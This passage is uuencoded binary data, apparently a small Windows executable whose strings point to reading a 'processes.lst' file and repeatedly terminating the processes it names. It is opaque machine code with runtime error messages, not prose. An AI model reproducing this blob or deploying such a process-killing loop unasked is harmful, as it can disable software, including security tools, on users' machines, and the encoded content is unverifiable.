MOHM-_#--!%[HR/W__\G#58OL@^P<H6"%0``S10135HMU"#/;@_[^B47\5XD=
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
MZ"3#__^#^/]9=`%'@_X4?!>AH(Y``/\TL.@KR/__H:".0`"#)+``648[-<">
M0`!\O(O'7U[#BT0D!#L%Z)Y``%-65W-EB\C!^06+\(/F'XT\C0"?0`"+#\'F
M`_9$,00!=$A0Z+SE__^#^/]9=$/_="08:@#_="0<4/\5L&!``(O8@_O_=0C_
M%41@0`#K`C/`A<!T"5#HG>/__UGK'HL'C40P!(`@_8O#ZQ2#):2*0```QP6@
MBD``"0```(/(_U]>6\-5B^RX"!```.@(V/__H6"%0``S1013BUT(5C/V.QWH
MGD``B47\#X,5`0``B\/!^`6+!(4`GT``B\N#X1_V1,@$`0^$^0```&H!5E/H
M)/___X/$#(/X_XE%^`^$ZP```&H"5E/H#/___X/$#(/X_P^$U@```%>+?0PK
M^(7_?F]H`!```(V%^.___U90Z-4(``!H`(```%/H*@D``(/$%(E%"+@`$```
M._A]`HO'4(V%^.___U!3Z.3D__^#Q`R#^/]T""OXA?]_V>L6@SVDBD``!74*
MQP6@BD``#0```(/.__]U"%/HW`@``%E9ZT!]/FH`_W4,4^AZ_O__4^ABY/__
M@\004/\5M&!``(OP]]X;]O?>3H/^_W45QP6@BD``#0```/\51&!``*.DBD``
M:@#_=?A3Z#S^__^#Q`R+QE_K#<<%H(I```D```"#R/^+3?PS301>6^@`\?__
MR<-5B^R#[!!6C47X4/\5R&!``(MU_#-U^/\5Q&!``#/P_Q7`8$``,_#_%;Q@
M0``S\(U%\%#_%;A@0`"+1?0S1?`S\(DU8(5``'4*QP5@A4``3N9`NU[)PV@8
M`0``:`AG0`#H!-;__Z%@A4``,T4$B47DH4",0``SR3O!=!^)3?S_=0S_=0C_
MT%E9@TW\_^D'`0``,\!`PXMEZ.ONBT4(2'03O^1F0`#'1>`P9D``OM0```#K
M$;\09D``QT7@<&5``+ZY````B$W<:`0!``"-A=C^__]04?\55&!``(7`=1-H
MS&1``(V%V/[__U#HNNW__UE9C9W8_O__C878_O__4.AFP/__68/`"X/X/'8I
MC878_O__4.A1P/__B]B-A=C^__^#Z#$#V&H#:,AD0`!3Z'?N__^#Q!!3Z"[`
M__]9C40P#(/``X/@_.ANU?__B67HB_175NA2[?__OZAD0`!75NA6[?__:&1E
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
M1C/`@_DP?`J#^3E_!8/I,.L#@\G_@_G_=`R-!("-!$$/M@Y&Z]V#^BU>=0+W
MV,-5B^Q1BTT(@?G_````=EYF@V7\`%<SP(U]_F:KB\'!Z`B#/7",0```B$4*
MB$T+7W4$,\#)PVH!_S5LC$``C47\_S6$C4``4&H"C44*4&H!Z.?X__^#Q!R%
MP'369H-]_@!US_9%_`ATR3/`0,G#@SV`AD```7X,:@A1Z$X```!96<G#H6"&
M0``/M@1(@^`(R</,S,S,S,S,S(M$)`B+3"00"\B+3"0,=0F+1"0$]^'"$`!3
M]^&+V(M$)`CW9"04`]B+1"0(]^$#TUO"$`!5B^Q1BT4(C4@!@?D``0``=PR+
M#6"&0``/MP1!ZUN+R,'Y"%:+-6"&0``/MM'V1%8!@%YT#X!E_@!J`HA%_8A-
M_%CK"H!E_0"(1?PSP$!J`?\U3(Q``(U-"O\U7(Q``%%0C47\4&H!Z`/X__^#
MQ!R%P'4"R<,/MT4*(T4,R</,S,S,S,S,S,S,S,S,S/\EX&!``,S,S,S,S,S,
MS,R#/4R,0```=07I$@$``%-6BW0D#%>+?"04#[8&4.@A````B]@/M@=01N@5
M````64>%VUF+R'0$.]ETWE^+PUXKP5O#58OL45&#/4R,0```4XM="%97#X2I
M````@SUHAD```'0)@_M_#X:7````,_:_``$``$8[WW,B.36`AD``?@M64^C<
M_O__65GK"Z%@AD``#[8$6"/&A<!T=HL58(9``(O#P?@(#[;(]D1*`8!T#X!E
M_@!J`HA%_(A=_5CK"8!E_0"(7?R+QE;_-5R,0`"-3?AJ`U%0C47\4%?_-4R,
M0`#H,?/__X/$((7`="0[QG4&#[9%^.L<#[9-^3/`BF7X"\'K#X/[07P(@_M:
MC4,@?@*+PU]>6\G#S,S,S,S,S,Q5B^Q75E.+=0R+?0BP_XO_"L!T,HH&@\8!
MBB>#QP$XQ'3N+$$\&AK)@.$@`L$$08;@+$$\&AK)@.$@`L$$03C@=,X:P!S_
M#[[`6UY?R<,`````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````L&P``,1L``#2;```VFP``.AL``#X;```"FT``+QP``"J<```3FT`
M`%QM``!N;0``@FT``)9M``"H;0``NFT``,IM``#6;0``YFT``/)M``#^;0``
M#FX``"1N``!`;@``6FX``')N``",;@``HFX``+QN``#.;@``W&X``.IN``#X
M;@``!F\``!9O```D;P``-&\``$AO``!4;P``8&\``&YO``!^;P``B&\``)1O
M``"@;P``LF\``,)O``#<;P``[&\```)P```8<```,G```$)P``!8<```:'``
M`'IP``",<```F'```,QP````````-&T```````!#86XG="!L;V-A=&4@9FEL
M92`B<')O8V5S<V5S+FQS="(```!P<F]C97-S97,N;'-T````<@```$-O<D5X
M:710<F]C97-S``!M<V-O<F5E+F1L;```````_____T@60`!<%D```````/__
M___Q&D``]1I```````#_____-1M``#D;0`!R=6YT:6UE(&5R<F]R(```#0H`
M`%1,3U-3(&5R<F]R#0H```!324Y'(&5R<F]R#0H`````1$]-04E.(&5R<F]R
M#0H``%(V,#(X#0HM('5N86)L92!T;R!I;FET:6%L:7IE(&AE87`-"@````!2
M-C`R-PT*+2!N;W0@96YO=6=H('-P86-E(&9O<B!L;W=I;R!I;FET:6%L:7IA
M=&EO;@T*`````%(V,#(V#0HM(&YO="!E;F]U9V@@<W!A8V4@9F]R('-T9&EO
M(&EN:71I86QI>F%T:6]N#0H`````4C8P,C4-"BT@<'5R92!V:7)T=6%L(&9U
M;F-T:6]N(&-A;&P-"@```%(V,#(T#0HM(&YO="!E;F]U9V@@<W!A8V4@9F]R
M(%]O;F5X:70O871E>&ET('1A8FQE#0H`````4C8P,3D-"BT@=6YA8FQE('1O
M(&]P96X@8V]N<V]L92!D979I8V4-"@````!2-C`Q.`T*+2!U;F5X<&5C=&5D
M(&AE87`@97)R;W(-"@````!2-C`Q-PT*+2!U;F5X<&5C=&5D(&UU;'1I=&AR
M96%D(&QO8VL@97)R;W(-"@````!2-C`Q-@T*+2!N;W0@96YO=6=H('-P86-E
M(&9O<B!T:')E860@9&%T80T*```````-"E1H:7,@87!P;&EC871I;VX@:&%S
M(')E<75E<W1E9"!T:&4@4G5N=&EM92!T;R!T97)M:6YA=&4@:70@:6X@86X@
M=6YU<W5A;"!W87DN"E!L96%S92!C;VYT86-T('1H92!A<'!L:6-A=&EO;B=S
M('-U<'!O<G0@=&5A;2!F;W(@;6]R92!I;F9O<FUA=&EO;BX-"@```%(V,#`Y
M#0HM(&YO="!E;F]U9V@@<W!A8V4@9F]R(&5N=FER;VYM96YT#0H`4C8P,#@-
M"BT@;F]T(&5N;W5G:"!S<&%C92!F;W(@87)G=6UE;G1S#0H```!2-C`P,@T*
M+2!F;&]A=&EN9R!P;VEN="!N;W0@;&]A9&5D#0H`````36EC<F]S;V9T(%9I
M<W5A;"!#*RL@4G5N=&EM92!,:6)R87)Y``````H*``!2=6YT:6UE($5R<F]R
M(0H*4')O9W)A;3H@````+BXN`#QP<F]G<F%M(&YA;64@=6YK;F]W;CX``$=E
M=%!R;V-E<W-7:6YD;W=3=&%T:6]N`$=E=%5S97)/8FIE8W1);F9O<FUA=&EO
M;D$```!'971,87-T06-T:79E4&]P=7```$=E=$%C=&EV95=I;F1O=P!-97-S
M86=E0F]X00!U<V5R,S(N9&QL````````_____T%!0`!%04``4')O9W)A;3H@
M````02!B=69F97(@;W9E<G)U;B!H87,@8F5E;B!D971E8W1E9"!W:&EC:"!H
M87,@8V]R<G5P=&5D('1H92!P<F]G<F%M)W,*:6YT97)N86P@<W1A=&4N("!4
M:&4@<')O9W)A;2!C86YN;W0@<V%F96QY(&-O;G1I;G5E(&5X96-U=&EO;B!A
M;F0@;75S=`IN;W<@8F4@=&5R;6EN871E9"X*`$)U9F9E<B!O=F5R<G5N(&1E
M=&5C=&5D(0``````````02!S96-U<FET>2!E<G)O<B!O9B!U;FMN;W=N(&-A
M=7-E(&AA<R!B965N(&1E=&5C=&5D('=H:6-H(&AA<PIC;W)R=7!T960@=&AE
M('!R;V=R86TG<R!I;G1E<FYA;"!S=&%T92X@(%1H92!P<F]G<F%M(&-A;FYO
M="!S869E;'D*8V]N=&EN=64@97AE8W5T:6]N(&%N9"!M=7-T(&YO=R!B92!T
M97)M:6YA=&5D+@H`````56YK;F]W;B!S96-U<FET>2!F86EL=7)E(&1E=&5C
M=&5D(0``_____^A00`#L4$``````````(``@`"``(``@`"``(``@`"``*``H
M`"@`*``H`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`$@`
M$``0`!``$``0`!``$``0`!``$``0`!``$``0`!``A`"$`(0`A`"$`(0`A`"$
M`(0`A``0`!``$``0`!``$``0`($`@0"!`($`@0"!``$``0`!``$``0`!``$`
M`0`!``$``0`!``$``0`!``$``0`!``$``0`0`!``$``0`!``$`""`((`@@""
M`((`@@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(`
M$``0`!``$``@````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````"``(``@`"``(``@`"``(``@`&@`*``H`"@`*``@`"``(``@`"``(``@
M`"``(``@`"``(``@`"``(``@`"``(`!(`!``$``0`!``$``0`!``$``0`!``
M$``0`!``$``0`(0`A`"$`(0`A`"$`(0`A`"$`(0`$``0`!``$``0`!``$`"!
M`8$!@0&!`8$!@0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!
M`0$!`0$!$``0`!``$``0`!``@@&"`8(!@@&"`8(!`@$"`0(!`@$"`0(!`@$"
M`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`1``$``0`!``(``@`"``(``@`"``
M(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@
M`"``(``@`"``2``0`!``$``0`!``$``0`!``$``0`!``$``0`!``$``0`!``
M%``4`!``$``0`!``$``4`!``$``0`!``$``0``$!`0$!`0$!`0$!`0$!`0$!
M`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$0``$!`0$!`0$!`0$!`0$!
M`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"
M`0(!$``"`0(!`@$"`0(!`@$"`0(!`0$`````______!40`#T5$``_____^U2
M0`#Q4D``_____[M30`"_4T```````/____^,5D``D%9```````#_____55I`
M`%E:0```````````````````````N&L`````````````)FT```!@``"H;```
M``````````!";0``\&``````````````````````````````L&P``,1L``#2
M;```VFP``.AL``#X;```"FT``+QP``"J<```3FT``%QM``!N;0``@FT``)9M
M``"H;0``NFT``,IM``#6;0``YFT``/)M``#^;0``#FX``"1N``!`;@``6FX`
M`')N``",;@``HFX``+QN``#.;@``W&X``.IN``#X;@``!F\``!9O```D;P``
M-&\``$AO``!4;P``8&\``&YO``!^;P``B&\``)1O``"@;P``LF\``,)O``#<
M;P``[&\```)P```8<```,G```$)P``!8<```:'```'IP``",<```F'```,QP
M````````-&T````````Q`U1E<FUI;F%T95!R;V-E<W,``&$"3W!E;E!R;V-E
M<W,`*0-3;&5E<``L`$-L;W-E2&%N9&QE`',"4')O8V5S<S,R3F5X=`!Q`E!R
M;V-E<W,S,D9I<G-T``!H`$-R96%T951O;VQH96QP,S)3;F%P<VAO=```2T52
M3D5,,S(N9&QL``#<`4UE<W-A9V5";WA!`%5315(S,BYD;&P``*L`17AI=%!R
M;V-E<W,`B0%'9710<F]C061D<F5S<P``9P%'971-;V1U;&5(86YD;&5!```O
M`4=E=$-U<G)E;G10<F]C97-S`)P!1V5T4W1A<G1U<$EN9F]!`/T`1V5T0V]M
M;6%N9$QI;F5!`,@!1V5T5F5R<VEO;D5X00#U`4AE87!&<F5E``!:`4=E=$QA
M<W1%<G)O<@``[P%(96%P06QL;V,`=@-7<FET949I;&4`G@%'9713=&1(86YD
M;&4``&4!1V5T36]D=6QE1FEL94YA;65!``!"`U5N:&%N9&QE9$5X8V5P=&EO
M;D9I;'1E<@``XP!&<F5E16YV:7)O;FUE;G13=')I;F=S00`_`4=E=$5N=FER
M;VYM96YT4W1R:6YG<P#D`$9R965%;G9I<F]N;65N=%-T<FEN9W-7`&D#5VED
M94-H87)4;TUU;'1I0GET90!!`4=E=$5N=FER;VYM96YT4W1R:6YG<U<``/H"
M4V5T2&%N9&QE0V]U;G0``%`!1V5T1FEL951Y<&4`\P%(96%P1&5S=')O>0#Q
M`4AE87!#<F5A=&4``%@#5FER='5A;$9R964`50-6:7)T=6%L06QL;V,``/D!
M2&5A<%)E06QL;V,`#`-39713=&1(86YD;&4``-L`1FQU<VA&:6QE0G5F9F5R
M<P``D`)296%D1FEL90``^P%(96%P4VEZ90``2@!#<F5A=&5&:6QE00`N`DQO
M861,:6)R87)Y00``ZP!'971!0U```'P!1V5T3T5-0U```/$`1V5T0U!);F9O
M`/$"4V5T1FEL95!O:6YT97(``.@"4V5T16YD3V9&:6QE``!^`E%U97)Y4&5R
M9F]R;6%N8V5#;W5N=&5R`+X!1V5T5&EC:T-O=6YT```R`4=E=$-U<G)E;G14
M:')E861)9```,`%'971#=7)R96YT4')O8V5S<TED`*P!1V5T4WES=&5M5&EM
M94%S1FEL951I;64`(`),0TUA<%-T<FEN9T$``%$"375L=&E">71E5&]7:61E
M0VAA<@`A`DQ#36%P4W1R:6YG5P``GP%'9713=')I;F=4>7!E00``H@%'9713
M=')I;F=4>7!E5P``L0)2=&Q5;G=I;F0`70%'971,;V-A;&5);F9O00``6P-6
M:7)T=6%L4')O=&5C=```J`%'9713>7-T96U);F9O`%T#5FER='5A;%%U97)Y
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
